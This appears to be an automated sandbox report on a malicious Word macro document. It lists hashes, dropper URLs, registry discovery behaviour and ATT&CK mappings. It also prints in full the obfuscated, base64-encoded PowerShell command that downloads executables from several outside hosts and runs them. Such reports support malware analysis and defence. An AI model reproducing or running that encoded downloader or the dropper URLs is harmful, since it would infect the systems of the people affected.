769181ba72d937ac51fdec3411ac5addbc2e93c65ec013ad504d9670d616d12c

General

Target

sample.doc
Size

169KB
MD5

24d32f9816e9402510433dcfb1633ea6
SHA1

400513d99abba8cf40538c454fa5e86a1cacaa4d
SHA256

e9bf95d02c5b2b1e8ac21c595cce59294b8a54da32e71a619cdf2ed03448dc96
SHA512

a245510bc7364891ea97bff2c820756d35cc1fe155c2573e570f28613fb21c0f6ebade9be3cdba640c3d9eba23cb5ed8f053e8603fe6cdef1a8fd3869224ccc2

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://manandvanwaterlooville.co.uk/wp-admin/prX892/

exe.dropper

https://uniral.com/captchasignup/4J579681/

exe.dropper

https://scyzm.net/lkx7/lqoH8S/

exe.dropper

https://amagna.nl/DZ9MzAobu3/37Z/

exe.dropper

https://nilinkeji.com/online/90fb31/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1500	1828	powersheLL.exe

Blocklisted process makes network request 6 IoCs

Processes:

powersheLL.exe

flow pid process

22 1500 powersheLL.exe
24 1500 powersheLL.exe
26 1500 powersheLL.exe
28 1500 powersheLL.exe
30 1500 powersheLL.exe
34 1500 powersheLL.exe

flow	pid	process
22	1500	powersheLL.exe
24	1500	powersheLL.exe
26	1500	powersheLL.exe
28	1500	powersheLL.exe
30	1500	powersheLL.exe
34	1500	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4828 WINWORD.EXE
4828 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

1500 powersheLL.exe
1500 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1500 powersheLL.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4828 WINWORD.EXE
4828 WINWORD.EXE
4828 WINWORD.EXE
4828 WINWORD.EXE
4828 WINWORD.EXE
4828 WINWORD.EXE
4828 WINWORD.EXE

pid	process
4828	WINWORD.EXE
4828	WINWORD.EXE

pid	process
1500	powersheLL.exe
1500	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	1500	powersheLL.exe

pid	process
4828	WINWORD.EXE
4828	WINWORD.EXE
4828	WINWORD.EXE
4828	WINWORD.EXE
4828	WINWORD.EXE
4828	WINWORD.EXE
4828	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4828

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABWAEEARgBHAEsAaQBqAGMAPQAnAEoAQwBNAEQATQBiAHgAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBSAGkAVABZAFAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQQBXAEUAVgBSAGYAaQBzACAAPQAgACcANAAzADIAJwA7ACQAUQBNAFgAVQBNAHQAcQB4AD0AJwBIAFgAVwBTAFEAcABjAGwAJwA7ACQATABaAEYASQBYAGgAdQB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABBAFcARQBWAFIAZgBpAHMAKwAnAC4AZQB4AGUAJwA7ACQARQBQAFcAWgBWAGMAbAB0AD0AJwBXAEoAQwBZAFIAdQB5AGMAJwA7ACQARABVAEMASwBOAG8AbABsAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAFcAZQBiAEMATABJAGUATgBUADsAJABZAEoARgBQAEkAcwByAHUAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAG4AYQBuAGQAdgBhAG4AdwBhAHQAZQByAGwAbwBvAHYAaQBsAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAHAAcgBYADgAOQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBuAGkAcgBhAGwALgBjAG8AbQAvAGMAYQBwAHQAYwBoAGEAcwBpAGcAbgB1AHAALwA0AEoANQA3ADkANgA4ADEALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAeQB6AG0ALgBuAGUAdAAvAGwAawB4ADcALwBsAHEAbwBIADgAUwAvACoAaAB0AHQAcABzADoALwAvAGEAbQBhAGcAbgBhAC4AbgBsAC8ARABaADkATQB6AEEAbwBiAHUAMwAvADMANwBaAC8AKgBoAHQAdABwAHMAOgAvAC8AbgBpAGwAaQBuAGsAZQBqAGkALgBjAG8AbQAvAG8AbgBsAGkAbgBlAC8AOQAwAGYAYgAzADEALwAnAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgARwBTAE0AVQBsAGEAdQA9ACcATgBKAFcATwBLAHEAbAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAE8AQgBCAEkAeQB5AG0AIABpAG4AIAAkAFkASgBGAFAASQBzAHIAdQApAHsAdAByAHkAewAkAEQAVQBDAEsATgBvAGwAbAAuACIAZABvAHcAYABOAGwATwBhAEQAYABGAEkAbABFACIAKAAkAEQATwBCAEIASQB5AHkAbQAsACAAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQATgBRAFIAVgBKAHQAaAB0AD0AJwBHAEoARwBCAFUAbgBzAGUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAFoARgBJAFgAaAB1AHYAKQAuACIATABgAGUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIANAAwADUANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAEUAYABBAFQARQAiACgAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQAUwBWAEwAWgBBAHYAeQBrAD0AJwBJAFoATQBNAFYAeQBrAGwAJwA7AGIAcgBlAGEAawA7ACQAQwBXAFoARgBBAHgAdABsAD0AJwBMAE8ASQBXAEcAbABzAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBSAFEAWgBLAGoAcgBsAD0AJwBUAFcASwBEAEoAYwBtAGIAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1500

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1500-140-0x000001B2DF9A0000-0x000001B2DF9C2000-memory.dmp

Filesize
136KB

Download
memory/1500-141-0x00007FFAAF9E0000-0x00007FFAB04A1000-memory.dmp

Filesize
10.8MB

Download
memory/4828-134-0x00007FFA9B690000-0x00007FFA9B6A0000-memory.dmp

Filesize
64KB

Download
memory/4828-131-0x00007FFA9B690000-0x00007FFA9B6A0000-memory.dmp

Filesize
64KB

Download
memory/4828-135-0x00007FFA9B690000-0x00007FFA9B6A0000-memory.dmp

Filesize
64KB

Download
memory/4828-136-0x00007FFA990C0000-0x00007FFA990D0000-memory.dmp

Filesize
64KB

Download
memory/4828-137-0x00007FFA990C0000-0x00007FFA990D0000-memory.dmp

Filesize
64KB

Download
memory/4828-138-0x0000025FAC790000-0x0000025FAC794000-memory.dmp

Filesize
16KB

Download
memory/4828-139-0x0000025FAA367000-0x0000025FAA369000-memory.dmp

Filesize
8KB

Download
memory/4828-133-0x00007FFA9B690000-0x00007FFA9B6A0000-memory.dmp

Filesize
64KB

Download
memory/4828-132-0x00007FFA9B690000-0x00007FFA9B6A0000-memory.dmp

Filesize
64KB

Download
memory/4828-143-0x00007FFA9B690000-0x00007FFA9B6A0000-memory.dmp

Filesize
64KB

Download
memory/4828-144-0x00007FFA9B690000-0x00007FFA9B6A0000-memory.dmp

Filesize
64KB

Download
memory/4828-145-0x00007FFA9B690000-0x00007FFA9B6A0000-memory.dmp

Filesize
64KB

Download
memory/4828-146-0x00007FFA9B690000-0x00007FFA9B6A0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads